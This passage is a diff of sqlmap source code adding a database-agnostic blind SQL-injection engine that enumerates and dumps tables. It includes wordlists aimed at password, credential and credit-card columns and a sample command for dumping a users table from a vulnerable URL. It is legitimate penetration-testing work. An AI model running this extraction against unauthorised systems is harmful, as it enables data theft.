# live in 'public'; broaden rather than report nothing
|
||||
pub = self._engine().enumerate("table", limit=lim, schema="public") or []
|
||||
if pub:
|
||||
names, db = pub, "public"
|
||||
infoMsg = "fetching tables"
|
||||
if db:
|
||||
infoMsg += " for database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
kb.data.cachedTables = {db or "<current>": names}
|
||||
return kb.data.cachedTables
|
||||
|
||||
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
|
||||
if not conf.tbl:
|
||||
logger.error("Esperanto needs a table (-T) to enumerate columns")
|
||||
return {}
|
||||
db = self._scopeFor(conf.tbl)
|
||||
infoMsg = "fetching columns for table '%s'" % conf.tbl
|
||||
if db:
|
||||
infoMsg += " in database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
names = self._engine().columns(conf.tbl, schema=db) or []
|
||||
self._colCache[(db, conf.tbl)] = names # let a following dump reuse these
|
||||
kb.data.cachedColumns = {db or "<current>": {conf.tbl: dict((n, None) for n in names)}}
|
||||
return kb.data.cachedColumns
|
||||
|
||||
def getSchema(self):
|
||||
esp = self._engine()
|
||||
db = self._scopeDb()
|
||||
schema = {}
|
||||
for table in (self.getTables().get(self._db()) or []):
|
||||
schema[table] = dict((n, None) for n in (esp.columns(table, schema=db) or []))
|
||||
kb.data.cachedColumns = {self._db(): schema}
|
||||
return kb.data.cachedColumns
|
||||
|
||||
def dumpTable(self, foundData=None):
|
||||
if not conf.tbl:
|
||||
logger.error("Esperanto needs a table (-T) to dump")
|
||||
return
|
||||
db = self._scopeFor(conf.tbl)
|
||||
cols = [c.strip() for c in conf.col.split(",")] if conf.col else None
|
||||
if cols is None:
|
||||
cols = self._colCache.get((db, conf.tbl)) # reuse --columns' result; don't re-walk
|
||||
infoMsg = "fetching entries"
|
||||
if cols:
|
||||
infoMsg += " of column(s) '%s'" % ", ".join(cols)
|
||||
infoMsg += " for table '%s'" % conf.tbl
|
||||
if db:
|
||||
infoMsg += " in database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=(conf.limitStop or 10))
|
||||
if not result or not result["columns"]:
|
||||
logger.error("Esperanto could not dump table '%s'" % conf.tbl)
|
||||
return
|
||||
table_data = {}
|
||||
for i, name in enumerate(result["columns"]):
|
||||
values = [("NULL" if row[i] is None else row[i]) for row in result["rows"]]
|
||||
width = max([len(name)] + [len(v) for v in values]) if values else len(name)
|
||||
table_data[name] = {"length": width, "values": values}
|
||||
table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()}
|
||||
if not result["complete"]:
|
||||
logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl)
|
||||
kb.data.dumpedTable = table_data
|
||||
conf.dumper.dbTableValues(kb.data.dumpedTable)
|
||||
|
||||
return _EsperantoHandler()
|
||||
119
extra/esperanto/oracle.py
Normal file
119
extra/esperanto/oracle.py
Normal file
|
|
@ -0,0 +1,119 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from contextlib import contextmanager
|
||||
|
||||
from .atlas import *
|
||||
from .records import *
|
||||
|
||||
|
||||
class _OracleCore(object):
|
||||
"""_OracleCore
|
||||
|
||||
the boolean-oracle contract + tiny SQL formatters (nothing dialect-specific)."""
|
||||
|
||||
@contextmanager
|
||||
def _probePhase(self):
|
||||
# mark a candidate-rung laddering section (discovery or lazy _ensure*): while
|
||||
# active, a host oracle may safely read an undecidable probe as False ("this
|
||||
# rung is unusable"), whereas outside it an undecidable READ must stay undecided
|
||||
prev = self._probing
|
||||
self._probing = True
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
self._probing = prev
|
||||
|
||||
def _emit(self, value):
|
||||
if self._progress and value not in (None, ""):
|
||||
try:
|
||||
self._progress(value)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _probe(self, condition):
|
||||
# ONE tri-state evaluation: True / False / None(persistent error). a raised
|
||||
# oracle is retried (transient) before being reported as an error - a
|
||||
# wrong-dialect probe legitimately errors, but a flaky connection must not
|
||||
# be allowed to read as a definitive False. counts every actual oracle call.
|
||||
for _ in range(self.retries + 1):
|
||||
if self.max_queries is not None and self._queries >= self.max_queries:
|
||||
raise QueryBudgetExceeded("oracle query budget exhausted at %d calls" % self._queries)
|
||||
self._queries += 1
|
||||
try:
|
||||
observed = self.oracle(condition)
|
||||
except Exception:
|
||||
continue
|
||||
# STRICT: only a real bool is an observation. None/0/''/other must not be
|
||||
# coerced to False (that silently corrupts bisection) - treat as undecided.
|
||||
if observed is True or observed is False:
|
||||
return observed
|
||||
return None
|
||||
|
||||
def _ask(self, condition):
|
||||
# decided boolean, or raise OracleUndecided - NEVER manufacture False from an
|
||||
# unobservable probe (that would silently corrupt blind bisection). the oracle
|
||||
# must itself return False for unsupported/rejected SQL; a raised probe means
|
||||
# "could not observe" and, absent a quorum, is fatal.
|
||||
if self.quorum <= 1:
|
||||
r = self._probe(condition)
|
||||
if self.verbose:
|
||||
print(" [%s] %s" % ("T" if r else ("E" if r is None else "f"), condition))
|
||||
if r is None:
|
||||
# while laddering CANDIDATE rungs an undecidable/erroring probe (oracle
|
||||
# returned None OR raised - both surface here as None) means "this rung is
|
||||
# unusable", so read it as False and let the ladder move on; only OUTSIDE
|
||||
# probing (reading committed data) is it fatal, so a flaky read never
|
||||
# silently coerces to a definite bit
|
||||
if self._probing:
|
||||
return False
|
||||
self._errors += 1
|
||||
raise OracleUndecided("oracle could not decide: %s" % condition)
|
||||
return r
|
||||
|
||||
samples = 2 * self.quorum - 1
|
||||
yes = no = tries = 0
|
||||
while (yes + no) < samples and tries < samples + self.quorum + 2:
|
||||
tries += 1
|
||||
r = self._probe(condition)
|
||||
if r is None:
|
||||
self._errors += 1
|
||||
continue
|
||||
yes, no = (yes + 1, no) if r else (yes, no + 1)
|
||||
if yes >= self.quorum or no >= self.quorum:
|
||||
break
|
||||
if self.verbose:
|
||||
state = "T" if yes >= self.quorum else ("f" if no >= self.quorum else "E")
|
||||
print(" [%s %d:%d] %s" % (state, yes, no, condition))
|
||||
if yes >= self.quorum:
|
||||
return True
|
||||
if no >= self.quorum:
|
||||
return False
|
||||
if self._probing: # candidate rung the vote couldn't settle -> unusable, not fatal
|
||||
return False
|
||||
raise OracleUndecided("oracle vote undecided: %s (%d true / %d false)" % (condition, yes, no))
|
||||
|
||||
def _sub(self, expr, pos, length):
|
||||
# pos is always passed 1-based; adjust for a 0-based dialect if discovered
|
||||
p = pos if self.dialect.substring.get("index_base", 1) == 1 else pos - 1
|
||||
return self.dialect.substring[1].format(expr=expr, pos=p, len=length)
|
||||
|
||||
def _len(self, expr):
|
||||
return self.dialect.length[1].format(expr=expr)
|
||||
|
||||
def _sanity(self):
|
||||
return self._ask("1=1") and not self._ask("1=2") and \
|
||||
self._ask("'a'='a'") and not self._ask("'a'='b'")
|
||||
|
||||
def _exists(self, source, column="1"):
|
||||
# does `source` (a table/catalog) - and optionally `column` in it - resolve?
|
||||
# WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when
|
||||
# it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works
|
||||
# for empty tables too. `column` is passed BARE so a nonexistent one errors,
|
||||
# rather than being taken as a string literal (SQLite quirk) and passing every
|
||||
# fake name.
|
||||
return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source))
|
||||
233
extra/esperanto/records.py
Normal file
233
extra/esperanto/records.py
Normal file
|
|
@ -0,0 +1,233 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import *
|
||||
|
||||
|
||||
class OracleUndecided(RuntimeError):
|
||||
"""The oracle gave no reliable True/False after retries/voting - a transport or
|
||||
observation failure, NOT a definitive answer. Raised so blind extraction fails
|
||||
CLOSED instead of converging on plausible-but-wrong data from a manufactured
|
||||
False. (A wrong-dialect/unsupported probe must be reported as False by the
|
||||
oracle itself; exceptions are reserved for 'could not observe'.)"""
|
||||
|
||||
|
||||
class Cap(object):
|
||||
"""A discovered primitive: (name, template) PLUS measured semantic properties.
|
||||
Indexable like the old (name, template) tuple so existing call sites keep working
|
||||
(`cap[0]`, `cap[1]`), with `cap.props` / `cap.get(key)` for the measured facts -
|
||||
e.g. length unit=characters|bytes, substring index_base, charcode semantics."""
|
||||
__slots__ = ("name", "template", "props")
|
||||
|
||||
def __init__(self, name, template, **props):
|
||||
self.name, self.template, self.props = name, template, props
|
||||
|
||||
def __getitem__(self, i):
|
||||
return (self.name, self.template)[i]
|
||||
|
||||
def get(self, key, default=None):
|
||||
return self.props.get(key, default)
|
||||
|
||||
def __repr__(self):
|
||||
extra = (" " + " ".join("%s=%s" % kv for kv in sorted(self.props.items()))) if self.props else ""
|
||||
return "%s(%s)" % (self.name, extra.strip() or self.template)
|
||||
|
||||
|
||||
class ExtractResult(object):
|
||||
"""Structured extraction outcome - keeps NULL, empty, truncated and failed
|
||||
distinct (str-like so `str(r)`/truthiness still read naturally)."""
|
||||
__slots__ = ("value", "is_null", "complete", "truncated", "queries", "warnings")
|
||||
|
||||
def __init__(self, value, is_null=False, complete=True, truncated=False, queries=0, warnings=None):
|
||||
self.value = value
|
||||
self.is_null = is_null
|
||||
self.complete = complete
|
||||
self.truncated = truncated
|
||||
self.queries = queries
|
||||
self.warnings = warnings or []
|
||||
|
||||
def __str__(self):
|
||||
return "" if self.value is None else self.value
|
||||
|
||||
def __bool__(self):
|
||||
return bool(self.value)
|
||||
|
||||
__nonzero__ = __bool__ # py2
|
||||
|
||||
def __repr__(self):
|
||||
return ("ExtractResult(value=%r null=%s complete=%s truncated=%s q=%d%s)"
|
||||
% (self.value, self.is_null, self.complete, self.truncated, self.queries,
|
||||
" warnings=%r" % self.warnings if self.warnings else ""))
|
||||
|
||||
|
||||
class BulkResult(object):
|
||||
"""List-like bulk-enumeration outcome that also reports completeness against an
|
||||
independent COUNT (so a truncated dump is visible, not silently short)."""
|
||||
__slots__ = ("values", "expected", "complete")
|
||||
|
||||
def __init__(self, values, expected=None, complete=True):
|
||||
self.values = values
|
||||
self.expected = expected
|
||||
self.complete = complete
|
||||
|
||||
def __iter__(self):
|
||||
return iter(self.values)
|
||||
|
||||
def __len__(self):
|
||||
return len(self.values)
|
||||
|
||||
def __getitem__(self, i):
|
||||
return self.values[i]
|
||||
|
||||
def __repr__(self):
|
||||
return "%r%s" % (self.values, "" if self.complete else " (incomplete: %s of %s)" % (len(self.values), self.expected))
|
||||
|
||||
|
||||
class Dialect(object):
|
||||
"""Discovered target profile - the synthesized 'queries.xml row'."""
|
||||
|
||||
__slots__ = ("concat", "substring", "length", "bytelen", "textcast",
|
||||
"coalesce", "charcode", "charfrom", "hexfn", "binwrap",
|
||||
"bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered",
|
||||
"identity", "catalog", "catalogEnum", "family", "product",
|
||||
"version", "evidence", "notes")
|
||||
|
||||
def __init__(self):
|
||||
self.identQuote = None # (open, close) identifier-quote chars, or None
|
||||
self.prefix = None # (op, multi, single) LIKE/GLOB fallback, or None
|
||||
self.concat = None # (name, template)
|
||||
self.substring = None
|
||||
self.length = None
|
||||
self.bytelen = None # (name, template) byte length (vs char length)
|
||||
self.textcast = None # (name, template) scalar -> text
|
||||
self.coalesce = None # (name, template) NULL guard
|
||||
self.charcode = None # None -> no code fn (direct-compare mode)
|
||||
self.charfrom = None
|
||||
self.hexfn = None # (name, template) for hex/byte extraction
|
||||
self.binwrap = None # (name, template) byte-ordered comparison wrapper
|
||||
self.bulkAgg = None # (name, template) row-aggregation for bulk enum
|
||||
self.dual = None # (name, from-suffix) tableless-SELECT skeleton
|
||||
self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci'
|
||||
self.ordered = False # 'b' > 'a' holds (lexicographic bisection ok)
|
||||
self.identity = {}
|
||||
self.catalog = None
|
||||
self.catalogEnum = {} # {kind: (name_col, source, filter)}
|
||||
self.family = None # from the catalog probe
|
||||
self.product = None # best-guess product (the detective verdict)
|
||||
self.version = None # extracted banner string
|
||||
self.evidence = [] # [(signal, implication), ...]
|
||||
self.notes = []
|
||||
|
||||
def __repr__(self):
|
||||
pick = lambda x: x[0] if x else None
|
||||
return ("Dialect(concat=%r substring=%r length=%r compare=%r dual=%r "
|
||||
"catalog=%r product=%r)" % (
|
||||
pick(self.concat), pick(self.substring), pick(self.length),
|
||||
self.compare, pick(self.dual), self.catalog,
|
||||
self.product or self.family))
|
||||
|
||||
|
||||
class InferenceStrategy(object):
|
||||
"""An immutable, host-consumable rendering of a discovered dialect.
|
||||
|
||||
This is the crystallization esperanto is really for: the discovery half produces
|
||||
ONE frozen strategy, and a host inference engine (ideally sqlmap's existing
|
||||
bisection - which already owns threading, hashDB resume, prediction, and the
|
||||
known-answer reliability litmus) drives the loop by calling these PURE render_*
|
||||
methods. No oracle here, no retrieval loop - just SQL construction from the
|
||||
discovered primitives. Frozen after construction so worker threads can share it.
|
||||
|
||||
The reference host loop `hostExtract()` below proves this interface is
|
||||
*sufficient*: it extracts data using ONLY a strategy + an oracle, with no
|
||||
dependency on Esperanto's own retrieval code.
|
||||
"""
|
||||
|
||||
_FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes",
|
||||
"substring", "index_base", "length", "charcode", "charcode_sem",
|
||||
"hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash")
|
||||
|
||||
def __init__(self, **kw):
|
||||
for f in self._FIELDS:
|
||||
object.__setattr__(self, f, kw.get(f))
|
||||
object.__setattr__(self, "_frozen", True)
|
||||
|
||||
def __setattr__(self, *a): # immutable
|
||||
raise AttributeError("InferenceStrategy is frozen")
|
||||
|
||||
# -- pure SQL construction (no oracle) ----------------------------------
|
||||
def substr(self, expr, pos, length=1):
|
||||
p = pos if self.index_base == 1 else pos - 1
|
||||
return self.substring.format(expr=expr, pos=p, len=length)
|
||||
|
||||
def renderLength(self, expr):
|
||||
return self.length.format(expr=expr)
|
||||
|
||||
def renderIsNull(self, expr):
|
||||
return "(%s) IS NULL" % expr
|
||||
|
||||
def renderHex(self, expr):
|
||||
return self.hexfn.format(expr=expr) if self.hexfn else None
|
||||
|
||||
def renderCode(self, expr, pos):
|
||||
# scalar code point of the char at pos (None unless a code fn was found)
|
||||
return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None
|
||||
|
||||
def renderCharCmp(self, expr, pos, ch, op=">"):
|
||||
# boolean: char at pos <op> literal ch, byte-ordered when a binary wrapper
|
||||
# is available (else the target's own collation)
|
||||
one = self.substr(expr, pos)
|
||||
if self.binwrap:
|
||||
return "%s%s%s" % (self.binwrap.format(x=one), op, self.binwrap.format(x=self.lit(ch)))
|
||||
return "%s%s%s" % (one, op, self.lit(ch))
|
||||
|
||||
def renderExactEq(self, left, right):
|
||||
# whole-value byte-exact equality (hex > binary wrapper > plain)
|
||||
if self.hexfn:
|
||||
return "(%s)=(%s)" % (self.hexfn.format(expr=left), self.hexfn.format(expr=right))
|
||||
if self.binwrap:
|
||||
return "(%s)=(%s)" % (self.binwrap.format(x=left), self.binwrap.format(x=right))
|
||||
return "(%s)=(%s)" % (left, right)
|
||||
|
||||
def lit(self, value):
|
||||
s = value.replace("\\", "\\\\") if self.backslash else value
|
||||
return "'%s'" % s.replace("'", "''")
|
||||
|
||||
def buildLiteral(self, value):
|
||||
if value and self.charfrom and self.concat and all(0 < ord(c) < 128 for c in value):
|
||||
parts = [self.charfrom.format(code=ord(c)) for c in value]
|
||||
out = parts[0]
|
||||
for p in parts[1:]:
|
||||
out = self.concat.format(a=out, b=p)
|
||||
return out
|
||||
return self.lit(value)
|
||||
|
||||
def quoteIdent(self, name):
|
||||
if not self.identquote:
|
||||
return name
|
||||
o, c = self.identquote
|
||||
return "%s%s%s" % (o, name.replace(c, c * 2), c)
|
||||
|
||||
def asQueriesRow(self):
|
||||
"""The sqlmap queries.xml-shaped mapping - the concrete integration hook.
|
||||
These four templates are what sqlmap's inference/error/union machinery reads
|
||||
from queries[Backend.getIdentifiedDbms()]."""
|
||||
return {
|
||||
"length": self.length,
|
||||
"substring": self.substring,
|
||||
"inference": ("%s>%%d" % self.charcode.format(expr=self.substr("%s", "%d")))
|
||||
if self.charcode else None,
|
||||
"case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual,
|
||||
"hex": self.hexfn,
|
||||
}
|
||||
|
||||
def __repr__(self):
|
||||
return "InferenceStrategy(product=%r compare=%r catalog=%r)" % (
|
||||
self.product, self.compare_mode, self.catalog)
|
||||
|
||||
|
||||
class QueryBudgetExceeded(OracleUndecided):
|
||||
"""The configured hard oracle-call budget was exhausted mid-operation."""
|
||||
31
extra/esperanto/run.py
Normal file
31
extra/esperanto/run.py
Normal file
|
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Standalone launcher for the DBMS-agnostic Esperanto engine. Run it straight from this
|
||||
directory - no sqlmap, no PYTHONPATH, no `-m` incantation:
|
||||
|
||||
python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --tables --dump -T users
|
||||
python run.py --self-test
|
||||
python run.py --live # local DBMS dev harness
|
||||
|
||||
The package is fully self-contained (bundled wordlists, no sqlmap imports in the engine),
|
||||
so the whole directory can be copied elsewhere and still run. sqlmap uses the very same
|
||||
package via `from extra.esperanto import buildHandler`, handing the engine its own boolean
|
||||
oracle (checkBooleanExpression); this launcher is only for standalone use.
|
||||
"""
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import sys
|
||||
|
||||
# make this package importable by its own (folder) name from any working directory, so
|
||||
# the relative imports inside resolve, then hand off to the CLI in __main__
|
||||
_HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
sys.path.insert(0, os.path.dirname(_HERE))
|
||||
main = importlib.import_module("%s.__main__" % os.path.basename(_HERE)).main
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
77
extra/esperanto/wordlist.py
Normal file
77
extra/esperanto/wordlist.py
Normal file
|
|
@ -0,0 +1,77 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Common table/column names for the brute-force fallback used when the system catalog
|
||||
is unreadable or unknown (permission wall, exotic/Frankenstein engine, CTF). This is
|
||||
the "know nothing about the schema, guess the usual names" path - the equivalent of
|
||||
sqlmap's --common-tables / --common-columns. sqlmap's own (much larger) wordlists are
|
||||
preferred when this package runs inside the repo; the bundled curated lists below are
|
||||
the self-contained fallback so the standalone CLI works with no external files.
|
||||
"""
|
||||
|
||||
import os
|
||||
|
||||
|
||||
# curated, most-common first; kept deliberately small so brute-forcing stays practical
|
||||
# over a slow blind oracle (sqlmap's full lists are used instead when available)
|
||||
_BUNDLED_TABLES = (
|
||||
"users", "user", "admin", "administrator", "accounts", "account", "members",
|
||||
"member", "customers", "customer", "clients", "client", "people", "persons",
|
||||
"employees", "staff", "contacts", "profiles", "profile", "sessions", "session",
|
||||
"orders", "order", "products", "product", "items", "item", "categories",
|
||||
"category", "cart", "carts", "invoices", "payments", "transactions", "coupons",
|
||||
"rates", "reviews", "ratings", "inventory", "stock", "shipping", "posts", "post",
|
||||
"articles", "pages", "page", "comments", "messages", "message", "news", "blog",
|
||||
"blogs", "tags", "notifications", "subscriptions", "feedback", "files", "file",
|
||||
"uploads", "images", "documents", "media", "config", "configuration", "settings",
|
||||
"setting", "options", "preferences", "roles", "role", "permissions", "groups",
|
||||
"group", "tokens", "token", "secrets", "secret", "credentials", "passwords",
|
||||
"keys", "apikeys", "api_keys", "cards", "creditcards", "credit_cards", "logs",
|
||||
"log", "events", "event", "audit", "audit_log", "history", "activity", "data",
|
||||
"records", "metadata", "backup", "backups", "temp", "tmp", "test", "flags",
|
||||
)
|
||||
|
||||
|
||||
_BUNDLED_COLUMNS = (
|
||||
"id", "uid", "user_id", "userid", "guid", "name", "username", "uname", "user",
|
||||
"login", "handle", "nick", "nickname", "pass", "passwd", "password", "pwd",
|
||||
"pass_hash", "password_hash", "hash", "salt", "email", "mail", "e_mail",
|
||||
"first_name", "firstname", "fname", "last_name", "lastname", "lname", "fullname",
|
||||
"full_name", "surname", "display_name", "phone", "mobile", "tel", "address",
|
||||
"addr", "street", "city", "country", "state", "zip", "zipcode", "postcode",
|
||||
"dob", "birthdate", "age", "gender", "sex", "role", "roles", "is_admin", "admin",
|
||||
"level", "active", "is_active", "enabled", "disabled", "banned", "status",
|
||||
"verified", "created", "created_at", "created_on", "updated", "updated_at",
|
||||
"modified", "deleted", "deleted_at", "last_login", "timestamp", "date", "time",
|
||||
"token", "api_key", "apikey", "session", "secret", "key", "value", "data",
|
||||
"content", "body", "text", "title", "subject", "description", "comment", "note",
|
||||
"notes", "message", "url", "link", "ip", "ip_address", "useragent", "referer",
|
||||
"cc", "card", "creditcard", "credit_card", "card_number", "cvv", "cvc", "expiry",
|
||||
"amount", "price", "cost", "total", "balance", "quantity", "qty", "count", "code",
|
||||
"type", "category", "tag", "slug", "flag", "flags", "extra", "meta", "settings",
|
||||
)
|
||||
|
||||
|
||||
def _fromFile(fname):
|
||||
# sqlmap's own wordlist when this runs inside the repo (data/txt/<fname>).
|
||||
# located relative to this file: extra/esperanto/ -> ../../data/txt/
|
||||
path = os.path.join(os.path.dirname(__file__), "..", "..", "data", "txt", fname)
|
||||
try:
|
||||
with open(path) as fh:
|
||||
names = [line.strip() for line in fh if line.strip() and not line.startswith("#")]
|
||||
return names or None
|
||||
except (IOError, OSError):
|
||||
return None
|
||||
|
||||
|
||||
def commonTables():
|
||||
"""Candidate table names, most-common first. sqlmap's list if present, else bundled."""
|
||||
return _fromFile("common-tables.txt") or list(_BUNDLED_TABLES)
|
||||
|
||||
|
||||
def commonColumns():
|
||||
"""Candidate column names, most-common first. sqlmap's list if present, else bundled."""
|
||||
return _fromFile("common-columns.txt") or list(_BUNDLED_COLUMNS)
|
||||
|
|
@ -77,7 +77,7 @@ def action():
|
|||
kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
|
||||
logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
|
||||
|
||||
if not Backend.getDbms() or not conf.dbmsHandler:
|
||||
if (not Backend.getDbms() and not conf.esperanto) or not conf.dbmsHandler:
|
||||
htmlParsed = Format.getErrorParsedDBMSes()
|
||||
|
||||
errMsg = "sqlmap was not able to fingerprint the "
|
||||
|
|
|
|||
|
|
@ -10,6 +10,7 @@ from lib.core.common import getSafeExString
|
|||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.dicts import DBMS_DICT
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.dicts import DBWIRE_MODULES
|
||||
|
|
@ -86,6 +87,15 @@ def setHandler():
|
|||
management system.
|
||||
"""
|
||||
|
||||
if conf.esperanto:
|
||||
# force the DBMS-agnostic engine: skip per-DBMS fingerprinting entirely and
|
||||
# let the boolean-oracle 'esperanto' handler drive enumeration.
|
||||
from extra.esperanto import buildHandler
|
||||
conf.dbmsHandler = buildHandler()
|
||||
conf.dbmsHandler._dbms = "Esperanto"
|
||||
logger.info("using the DBMS-agnostic 'Esperanto' engine (fingerprinting skipped)")
|
||||
return
|
||||
|
||||
items = [
|
||||
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"),
|
||||
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"),
|
||||
|
|
|
|||
|
|
@ -76,10 +76,16 @@ def _serializeEncode(value):
|
|||
# string that would round-trip as 'unicode') keeps the exact byte type across versions
|
||||
if isinstance(value, (six.binary_type, bytearray)):
|
||||
raw = bytes(value) if isinstance(value, bytearray) else value
|
||||
return {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0}
|
||||
retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0}
|
||||
if six.PY3: # mark genuine Python 3 bytes so restore keeps them bytes; a
|
||||
retVal["pv"] = 3 # Python 2 'str' (text) is unmarked and recovered as text (see decode)
|
||||
return retVal
|
||||
|
||||
if isinstance(value, memoryview):
|
||||
return {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0}
|
||||
retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0}
|
||||
if six.PY3:
|
||||
retVal["pv"] = 3
|
||||
return retVal
|
||||
|
||||
try:
|
||||
if isinstance(value, buffer): # noqa: F821 # Python 2 only
|
||||
|
|
@ -171,7 +177,19 @@ def _serializeDecode(struct):
|
|||
|
||||
if tag == "b":
|
||||
raw = decodeBase64(struct["v"], binary=True)
|
||||
return bytearray(raw) if struct.get("a") else raw
|
||||
if struct.get("a"):
|
||||
return bytearray(raw)
|
||||
# Genuine Python 3 bytes (pv==3) are kept as-is. A value WITHOUT the marker was
|
||||
# written by Python 2, whose text-'str' goes through this bytes branch; on Python 3
|
||||
# that would surface as 'bytes' and break str consumers - most visibly kb.chars,
|
||||
# whose str-key lookups then return None and crash cleanupPayload(). Recover such
|
||||
# cross-version TEXT by decoding valid UTF-8 to 'str'; real binary stays bytes.
|
||||
if struct.get("pv") == 3:
|
||||
return raw
|
||||
try:
|
||||
return raw.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
return raw
|
||||
elif tag == "t":
|
||||
return tuple(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "f":
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.106"
|
||||
VERSION = "1.10.7.107"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
|
|||
|
|
@ -355,6 +355,9 @@ def cmdLineParser(argv=None):
|
|||
injection.add_argument("--dbms-cred", dest="dbmsCred",
|
||||
help="DBMS authentication credentials (user:password)")
|
||||
|
||||
injection.add_argument("--esperanto", dest="esperanto", action="store_true",
|
||||
help="Use the DBMS-agnostic enumeration engine")
|
||||
|
||||
injection.add_argument("--os", dest="os",
|
||||
help="Force back-end DBMS operating system to provided value")
|
||||
|
||||
|
|
|
|||
|
|
@ -633,9 +633,10 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
|
||||
|
||||
if expected == EXPECTED.BOOL:
|
||||
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
|
||||
# Note: some DBMSes (e.g. Altibase, SQL Server) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
|
||||
|
||||
if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")):
|
||||
# skip only when already CASE-wrapped or a bare scalar SELECT value (cf. the startswith check above); a boolean predicate that merely EMBEDS a subquery (e.g. '(SELECT ...) IS NULL', common when the DBMS is unidentified and forgeCaseStatement() is a no-op) still needs wrapping for concatenation safety
|
||||
if "CASE" not in forgeCaseExpression and not forgeCaseExpression.startswith("SELECT "):
|
||||
forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression
|
||||
|
||||
try:
|
||||
|
|
|
|||
656
tests/test_esperanto.py
Normal file
656
tests/test_esperanto.py
Normal file
|
|
@ -0,0 +1,656 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Regression suite for the DBMS-agnostic engine (extra/esperanto/), in two parts:
|
||||
|
||||
1. Semantic corpus - round-trips awkward values through an in-memory SQLite boolean
|
||||
oracle and asserts the correctness invariants the engine must never break: no silent
|
||||
character substitution or deletion, length never exceeds maxlen (over-length is
|
||||
flagged), limit=0 is an incomplete empty prefix, NULL stays distinct from '',
|
||||
truncation sets complete=False, bytes-first extraction is byte-exact, and the
|
||||
capability fallbacks (pattern-match floor, length-from-substring, LEFT/RIGHT
|
||||
composition) and the frozen InferenceStrategy hand-off all still extract.
|
||||
|
||||
2. Adversarial dialect scenarios - an intermediate oracle disguises the same SQLite as
|
||||
a different / hostile back-end by BLOCKING the SQL forms the fake engine lacks and
|
||||
REWRITING its forms into the SQLite equivalent, so the engine must discover and adapt
|
||||
